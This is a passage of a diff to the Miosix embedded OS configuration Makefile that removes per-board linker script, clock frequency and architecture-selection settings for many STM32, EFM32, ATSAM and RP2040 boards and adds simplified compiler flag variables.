-DSYSCLK_FREQ_168MHz=168000000 - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_100MHz=100000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f103cb_als_mainboard_rev2 -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f100cb_tempsensor -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f429zi_oledboard2 -## -ifeq ($(OPT_BOARD),stm32f429zi_oledboard2) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH, stack + heap in external RAM (file *8m_xram.ld) - ## You must uncomment -D__ENABLE_XRAM below in this case. - ## 3) Code in FLASH, stack + heap in external RAM (file *6m_xram.ld) - ## Same as above, but leaves the upper 2MB of RAM for the LCD. - LINKER_SCRIPT_PATH := arch/cortexM4_stm32f4/stm32f429zi_oledboard2/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+256k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+8m_xram.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+6m_xram.ld - - ## Uncommenting __ENABLE_XRAM enables the initialization of the external - ## 8MB SDRAM memory. Do not uncomment this even if you don't use a linker - ## script that requires it, as it is used for the LCD framebuffer. - XRAM := -D__ENABLE_XRAM - - ## Select clock frequency. Warning: the default clock frequency for - ## this board is 168MHz and not 180MHz because, due to a limitation in - ## the PLL, it is not possible to generate a precise 48MHz output when - ## running the core at 180MHz. If 180MHz is chosen the USB peripheral will - ## NOT WORK and the SDIO and RNG will run ~6% slower (45MHz insteand of 48) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_168MHz=168000000 - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_180MHz=180000000 - -endif - -##--------------------------------------------------------------------------- -## efm32gg332f1024_wandstem -## -ifeq ($(OPT_BOARD),efm32gg332f1024_wandstem) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## 2) Same as 1) but space has been reserved for a process pool, allowing - ## to configure the kernel with "#define WITH_PROCESSES" - LINKER_SCRIPT_PATH := arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)efm32_1M+128k_rom_usbbootloader.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)efm32_1M+128k_rom_usbbootloader_processes.ld - -endif - -##--------------------------------------------------------------------------- -## stm32f411re_nucleo -## -ifeq ($(OPT_BOARD),stm32f411re_nucleo) - - # Select clock frequency - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_100MHz=100000000 - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_84MHz=84000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f429zi_skyward_anakin -## -ifeq ($(OPT_BOARD),stm32f429zi_skyward_anakin) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH, stack + heap in external RAM (file *8m_xram.ld) - ## You must uncomment -D__ENABLE_XRAM below in this case. - LINKER_SCRIPT_PATH := arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+256k_rom.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+8m_xram.ld - - ## Uncommenting __ENABLE_XRAM enables the initialization of the external - ## 8MB SDRAM memory. Do not uncomment this even if you don't use a linker - ## script that requires it, as it is used for the LCD framebuffer. - XRAM := -D__ENABLE_XRAM - - ## Select clock frequency. - ## Warning: due to a limitation in the PLL, it is not possible to generate - ## a precise 48MHz output when running the core at 180MHz. If 180MHz is - ## chosen the SDIO and RNG will run ~6% slower (45MHz insteand of 48) - CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_180MHz=180000000 - #CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_168MHz=168000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f401vc_stm32f4discovery -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f103c8_breakout -## -ifeq ($(OPT_BOARD),stm32f103c8_breakout) - - ## Select clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_72MHz=72000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f100c8_microboard -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f469ni_stm32f469i-disco -## -ifeq ($(OPT_BOARD),stm32f469ni_stm32f469i-disco) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH, stack + heap in external RAM (file *16m_xram.ld) - ## You must uncomment -D__ENABLE_XRAM below in this case. - ## 3) Code in FLASH, stack + heap in external RAM (file *12m_xram.ld) - ## Same as above, but leaves the upper 4MB of RAM for the LCD. - LINKER_SCRIPT_PATH := arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+384k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+16m_xram.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+12m_xram.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+16m_xram_processes.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+16m_xram_processes_and_kernel.ld - - ## Uncommenting __ENABLE_XRAM enables the initialization of the external - ## 16MB SDRAM memory. Do not uncomment this even if you don't use a linker - ## script that requires it, as it is used for the LCD framebuffer. - XRAM := -D__ENABLE_XRAM - - ## Select clock frequency. Warning: the default clock frequency for - ## this board is 168MHz and not 180MHz because, due to a limitation in - ## the PLL, it is not possible to generate a precise 48MHz output when - ## running the core at 180MHz. If 180MHz is chosen the USB peripheral will - ## NOT WORK and the SDIO and RNG will run ~6% slower (45MHz insteand of 48) - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_180MHz=180000000 - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_168MHz=168000000 - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_100MHz=100000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f429zi_skyward_homeone -## -ifeq ($(OPT_BOARD),stm32f429zi_skyward_homeone) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH, stack + heap in external RAM (file *8m_xram.ld) - ## You must uncomment -D__ENABLE_XRAM below in this case. - LINKER_SCRIPT_PATH := arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+256k_rom.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+8m_xram.ld - - ## Uncommenting __ENABLE_XRAM enables the initialization of the external - ## 8MB SDRAM memory. - XRAM := -D__ENABLE_XRAM - - ## Select clock frequency. Warning: the default clock frequency for - ## this board is 168MHz and not 180MHz because, due to a limitation in - ## the PLL, it is not possible to generate a precise 48MHz output when - ## running the core at 180MHz. If 180MHz is chosen the USB peripheral will - ## NOT WORK and the SDIO and RNG will run ~6% slower (45MHz insteand of 48) - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_180MHz=180000000 - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_168MHz=168000000 - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_100MHz=100000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f401re_nucleo -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f746zg_nucleo -## - -ifeq ($(OPT_BOARD),stm32f746zg_nucleo) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## 2) Same as 1) but space has been reserved for a process pool, allowing - ## to configure the kernel with "#define WITH_PROCESSES" - LINKER_SCRIPT_PATH := arch/cortexM7_stm32f7/stm32f746zg_nucleo/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+256k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+320k_rom_processes.ld - -endif - -##--------------------------------------------------------------------------- -## stm32h753xi_eval -## - -ifeq ($(OPT_BOARD),stm32h753xi_eval) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH, stack + heap in external RAM (file *m_xram.ld) - ## You must uncomment -D__ENABLE_XRAM below in this case. - LINKER_SCRIPT_PATH := arch/cortexM7_stm32h7/stm32h753xi_eval/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+512k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+32m_xram.ld - -endif - -##--------------------------------------------------------------------------- -## stm32h723zg_nucleo -## - -ifeq ($(OPT_BOARD),stm32h723zg_nucleo) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH, stack + heap in external RAM (file *m_xram.ld) - ## You must uncomment -D__ENABLE_XRAM below in this case. - LINKER_SCRIPT_PATH := arch/cortexM7_stm32h7/stm32h723zg_nucleo/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+128k_rom.ld -endif - -##--------------------------------------------------------------------------- -## stm32f407vg_thermal_test_chip -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f205_generic -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f103cx_generic -## - -ifeq ($(OPT_BOARD),stm32f103cx_generic) - - # stm32f103c8 has 64K, stm32f103cb has 128K - LINKER_SCRIPT_PATH := arch/cortexM3_stm32f1/stm32f103cx_generic/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_64k+20k_rom.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_128k+20k_rom.ld - - ## Select clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_72MHz=72000000 - -endif -##--------------------------------------------------------------------------- -## stm32f072rb_stm32f0discovery -## - -# Actually no options - -##--------------------------------------------------------------------------- -## stm32f100cx_generic -## - -ifeq ($(OPT_BOARD),stm32f100cx_generic) - - # stm32f100c8 has 64K, stm32f100cb has 128K - LINKER_SCRIPT_PATH := arch/cortexM3_stm32f1/stm32f100cx_generic/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_64k+8k_rom.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_128k+8k_rom.ld - - ## Select clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f303vc_stm32f3discovery -## - -ifeq ($(OPT_BOARD),stm32f303vc_stm32f3discovery) - - ## Select clock frequency - ## Not defining any of these results in the internal 8MHz clock to be used - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 -DRUN_WITH_HSI - CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 -DRUN_WITH_HSI - -endif - -##--------------------------------------------------------------------------- -## stm32f100c8_vaisala_rs41 -## - -ifeq ($(OPT_BOARD),stm32f100c8_vaisala_rs41) - - ## Select clock frequency - ## Not defining anything results in HSI being used - #CLOCK_FREQ := -DSYSCLK_FREQ_8MHz=8000000 - CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DHSE_VALUE=24000000 - -endif - -##--------------------------------------------------------------------------- -## stm32l476rg_nucleo -## - -ifeq ($(OPT_BOARD),stm32l476rg_nucleo) - - ## Select clock frequency (16MHz HSI) - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 -DRUN_WITH_HSI - CLOCK_FREQ := -DSYSCLK_FREQ_80MHz=80000000 -DRUN_WITH_HSI - ## Select clock frequency (4MHz MSI) - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 - ## Other clock options - #CLOCK_FREQ := -DRUN_WITH_MSI - -endif - -##--------------------------------------------------------------------------- -## atsam4lc2aa_generic -## - -ifeq ($(OPT_BOARD),atsam4lc2aa_generic) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## 2) Same as 1) but space has been reserved for a process pool, allowing - ## to configure the kernel with "#define WITH_PROCESSES" - LINKER_SCRIPT_PATH := arch/cortexM4_atsam4l/atsam4lc2aa_generic/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)atsam_112k+32k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)atsam_112k+32k_rom_processes.ld - -endif - -##--------------------------------------------------------------------------- -## stm32f411ce_blackpill -## - -ifeq ($(OPT_BOARD),stm32f411ce_blackpill) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## 2) Same as 1) but space has been reserved for a process pool, allowing - ## to configure the kernel with "#define WITH_PROCESSES" - LINKER_SCRIPT_PATH := arch/cortexM4_stm32f4/stm32f411ce_blackpill/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+128k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+128k_rom_processes.ld - -endif - -##--------------------------------------------------------------------------- -## stm32l4r9zi_sensortile -## - -ifeq ($(OPT_BOARD),stm32l4r9zi_sensortile) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## 2) Same as 1) but space has been reserved for a process pool, allowing - ## to configure the kernel with "#define WITH_PROCESSES" - LINKER_SCRIPT_PATH := arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+640k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+640k_rom_processes.ld - - ## Select clock frequency (8MHz HSE) - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DHSE_VALUE=16000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 -DHSE_VALUE=16000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 -DHSE_VALUE=16000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 -DHSE_VALUE=16000000 - CLOCK_FREQ := -DSYSCLK_FREQ_80MHz=80000000 -DHSE_VALUE=16000000 - ## Select clock frequency (16MHz HSI) - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 -DRUN_WITH_HSI - #CLOCK_FREQ := -DSYSCLK_FREQ_80MHz=80000000 -DRUN_WITH_HSI - ## Select clock frequency (4MHz MSI) - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 - ## Other clock options - #CLOCK_FREQ := -DHSE_VALUE=16000000 - #CLOCK_FREQ := -DRUN_WITH_MSI - -endif - -##--------------------------------------------------------------------------- -## stm32f415vg_st25dvdiscovery -## - -# No options - -##--------------------------------------------------------------------------- -## efm32g222f128_generic -## - -# No options - -##--------------------------------------------------------------------------- -## stm32l053r8_nucleo -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f030r8_stm32f0discovery -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f765ii_marco_ram_board -## - -ifeq ($(OPT_BOARD),stm32f765ii_marco_ram_board) - - ## Linker script type - ## 1) stm32_2M+384k_ram.ld - ## - .text internal Flash - ## - IRQ stack internal SRAM - ## - .data, .bss internal SRAM - ## - Heap (and thread stacks) internal SRAM - ## The most common choice, available for all microcontrollers - ## 2) stm32_2M+384k_xram-heap_256M.ld - ## - .text internal Flash - ## - IRQ stack internal SRAM - ## - .data, .bss internal SRAM - ## - Heap (and thread stacks) external SDRAM (bank 1) - ## For application with small static buffers. Only uses SDRAM bank 1. - ## 3) stm32_2M+384k_xram_256M.ld - ## - .text internal Flash - ## - IRQ stack internal SRAM - ## - .data, .bss external SDRAM (bank 1) - ## - Heap (and thread stacks) external SDRAM (bank 1) - ## For application with large static buffers. Only uses SDRAM bank 1. - ## 4) stm32_2m+384k_ram_processes.ld - ## - .text internal Flash - ## - IRQ stack internal SRAM (low 128K) - ## - .data, .bss internal SRAM (low 128K) - ## - Heap (and thread stacks) internal SRAM (low 128K) - ## - Process Pool internal SRAM (high 256K) - ## 5) stm32_2m+384k_xram_256M_processes.ld - ## - .text internal Flash - ## - IRQ stack internal SRAM - ## - .data, .bss internal SRAM - ## - Heap (and thread stacks) internal SRAM - ## - Process Pool external SDRAM (bank 1) - LINKER_SCRIPT_PATH := arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)/stm32_2M+384k_ram.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)/stm32_2M+384k_xram-heap_256M.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)/stm32_2M+384k_xram_256M.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)/stm32_2m+384k_ram_processes.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)/stm32_2m+384k_xram_256M_processes.ld - -endif - -##--------------------------------------------------------------------------- -## rp2040_raspberry_pi_pico ## - -ifeq ($(OPT_BOARD),rp2040_raspberry_pi_pico) - - # Board variant for selecting either the "plain" Pico or Pico W - #BOARD_VARIANT := BOARD_VARIANT_PICO - BOARD_VARIANT := BOARD_VARIANT_PICO_W - - # Clock frequency option. The Raspberry Pi Pico boards have a 12MHz - # external oscillator. - CLOCK_FREQ := -DXOSC_FREQ=12000000 -DCLK_SYS_FREQ=133000000 - #CLOCK_FREQ := -DXOSC_FREQ=12000000 -DCLK_SYS_FREQ=125000000 - -endif - -##--------------------------------------------------------------------------- -## stm32h755zi_nucleo +## User-configurable C/C++ flags (kernel) ## - -ifeq ($(OPT_BOARD),stm32h755zi_nucleo) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## 2) Same as 1) but space has been reserved for a process pool, allowing - ## to configure the kernel with "#define WITH_PROCESSES" - LINKER_SCRIPT_PATH := arch/cortexM7_stm32h7/stm32h755zi_nucleo/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1M+512k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1M+512k_rom_processes.ld - -endif - - -############################################################################ -## From the options selected above, now fill all the variables needed to ## -## build Miosix. You should modify something here only if you are adding ## -## a new board or porting Miosix to a new architecture ## -############################################################################ - -ifneq ($(MAKEFILE_VERSION),1.15) - $(info You are using an incompatible makefile. Make sure it matches \ - the one distributed with the current version of the kernel) - $(error Error) -endif +CFLAGS_BASE ?= -ffunction-sections -fdata-sections \ + -Wall -Werror=return-type -g +CXXFLAGS_BASE ?= -std=c++23 -ffunction-sections -fdata-sections \ + -Wall -Werror=return-type -g +LFLAGS_BASE ?= -Wl,--gc-sections ## -## First, auto guess architecture name from board name +## User-configurable C/C++ flags (processes) ## -ifeq ($(OPT_BOARD),lpc2138_miosix_board) - ARCH := arm7_lpc2000 -else ifeq ($(OPT_BOARD),stm32f103ze_stm3210e-eval) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f103ve_mp3v2) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f100rb_stm32vldiscovery) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f103ve_strive_mini) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f103ze_redbull_v2) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f407vg_stm32f4discovery) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f207ig_stm3220g-eval) - ARCH := cortexM3_stm32f2 -else ifeq ($(OPT_BOARD),stm32f207zg_ethboard_v2) - ARCH := cortexM3_stm32f2 -else ifeq ($(OPT_BOARD),stm32f207zg_nucleo) - ARCH := cortexM3_stm32f2 -else ifeq ($(OPT_BOARD),stm32f207ze_als_camboard) - ARCH := cortexM3_stm32f2 -else ifeq ($(OPT_BOARD),stm32f205rg_sony-newman) - ARCH := cortexM3_stm32f2 -else ifeq ($(OPT_BOARD),stm32l151_als_mainboard) - ARCH := cortexM3_stm32l1 -else ifeq ($(OPT_BOARD),stm32f407vg_bitsboard) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f429zi_stm32f4discovery) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f103cb_als_mainboard_rev2) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f100cb_tempsensor) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f429zi_oledboard2) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),efm32gg332f1024_wandstem) - ARCH := cortexM3_efm32gg -else ifeq ($(OPT_BOARD),stm32f411re_nucleo) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f429zi_skyward_anakin) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f100rc_solertegiard) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f205rc_skyward_stormtrooper) - ARCH := cortexM3_stm32f2 -else ifeq ($(OPT_BOARD),stm32f401vc_stm32f4discovery) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f103c8_breakout) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f100c8_microboard) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f469ni_stm32f469i-disco) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f429zi_skyward_homeone) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f401re_nucleo) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f746zg_nucleo) - ARCH := cortexM7_stm32f7 -else ifeq ($(OPT_BOARD),stm32h753xi_eval) - ARCH := cortexM7_stm32h7 -else ifeq ($(OPT_BOARD),stm32h723zg_nucleo) - ARCH := cortexM7_stm32h7 -else ifeq ($(OPT_BOARD),stm32f407vg_thermal_test_chip) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32f205_generic) - ARCH := cortexM3_stm32f2 -else ifeq ($(OPT_BOARD),stm32f103cx_generic) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f072rb_stm32f0discovery) - ARCH := cortexM0_stm32f0 -else ifeq ($(OPT_BOARD),stm32f100cx_generic) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32f303vc_stm32f3discovery) - ARCH := cortexM4_stm32f3 -else ifeq ($(OPT_BOARD),stm32f100c8_vaisala_rs41) - ARCH := cortexM3_stm32f1 -else ifeq ($(OPT_BOARD),stm32l476rg_nucleo) - ARCH := cortexM4_stm32l4 -else ifeq ($(OPT_BOARD),atsam4lc2aa_generic) - ARCH := cortexM4_atsam4l -else ifeq ($(OPT_BOARD),stm32f411ce_blackpill) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),stm32l4r9zi_sensortile) - ARCH := cortexM4_stm32l4 -else ifeq ($(OPT_BOARD),stm32f767zi_nucleo) - ARCH := cortexM7_stm32f7 -else ifeq ($(OPT_BOARD),stm32f769ni_discovery) - ARCH := cortexM7_stm32f7 -else ifeq ($(OPT_BOARD),stm32f415vg_st25dvdiscovery) - ARCH := cortexM4_stm32f4 -else ifeq ($(OPT_BOARD),efm32g222f128_generic) - ARCH := cortexM3_efm32g -else ifeq ($(OPT_BOARD),stm32l053r8_nucleo) - ARCH := cortexM0plus_stm32l0 -else ifeq ($(OPT_BOARD),stm32f030r8_stm32f0discovery) - ARCH := cortexM0_stm32f0 -else ifeq ($(OPT_BOARD),stm32f765ii_marco_ram_board) - ARCH := cortexM7_stm32f7 -else ifeq ($(OPT_BOARD),rp2040_raspberry_pi_pico) - ARCH := cortexM0plus_rp2040 -else ifeq ($(OPT_BOARD),stm32h755zi_nucleo) - ARCH := cortexM7_stm32h7 -else - $(info Error: no board specified in miosix/config/Makefile.inc) - $(error Error) -endif - - -## -## Then, initialize C/C++ flags -## -CFLAGS_BASE := -D_MIOSIX_BOARDNAME=\"$(OPT_BOARD)\" -D_DEFAULT_SOURCE=1 \ - -ffunction-sections -Wall -Werror=return-type -g -CXXFLAGS_BASE := -D_MIOSIX_BOARDNAME=\"$(OPT_BOARD)\" -D_DEFAULT_SOURCE=1 \ - -std=c++14 -ffunction-sections -Wall -Werror=return-type -g - -## -## Now two big switch-like constructs nested. The first lists all possible -## architectures, setting common things for all boards in the architecture. -## Then for each architecture there is a switch for evry board, where all -## board specific options are set. -## - -##----------------------------------------------------------------------------- -## ARCHITECTURE: arm7_lpc2000 -## -ifeq ($(ARCH),arm7_lpc2000) - ## Base directory with header files for this board - ARCH_INC := arch/arm7_lpc2000/common - - ##------------------------------------------------------------------------- - ## BOARD: lpc2138_miosix_board - ## - ifeq ($(OPT_BOARD),lpc2138_miosix_board) - - ## Base directory with header files for this board - BOARD_INC := arch/arm7_lpc2000/lpc2138_miosix_board - - ## Select linker script - LINKER_SCRIPT := arch/arm7_lpc2000/lpc2138_miosix_board/miosix.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.s \ - $(BOARD_INC)/interfaces-impl/portability.cpp \ - $(BOARD_INC)/interfaces-impl/os_timer.cpp \ - arch/common/drivers/sd_lpc2000.cpp \ - $(BOARD_INC)/interfaces-impl/delays.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_MIOSIX_BOARD - CXXFLAGS_BASE += -D_BOARD_MIOSIX_BOARD - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture does not support processes - #POSTLD := - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=arm7tdmi - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_ARM7_LPC2000 $(CPU) $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_ARM7_LPC2000 $(CPU) $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_arm7.cpp \ - arch/common/drivers/serial_lpc2000.cpp - - ## Select programmer command line - ## This is the program that is invoked when the user types 'make program' - ## The command must provide a way to program the board, or print an error - ## message saying that 'make program' is not supported for that board. - PROG ?= lpc21isp -verify main.hex /dev/ttyUSB0 115200 14746 - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM3_stm32f1 -## -else ifeq ($(ARCH),cortexM3_stm32f1) - 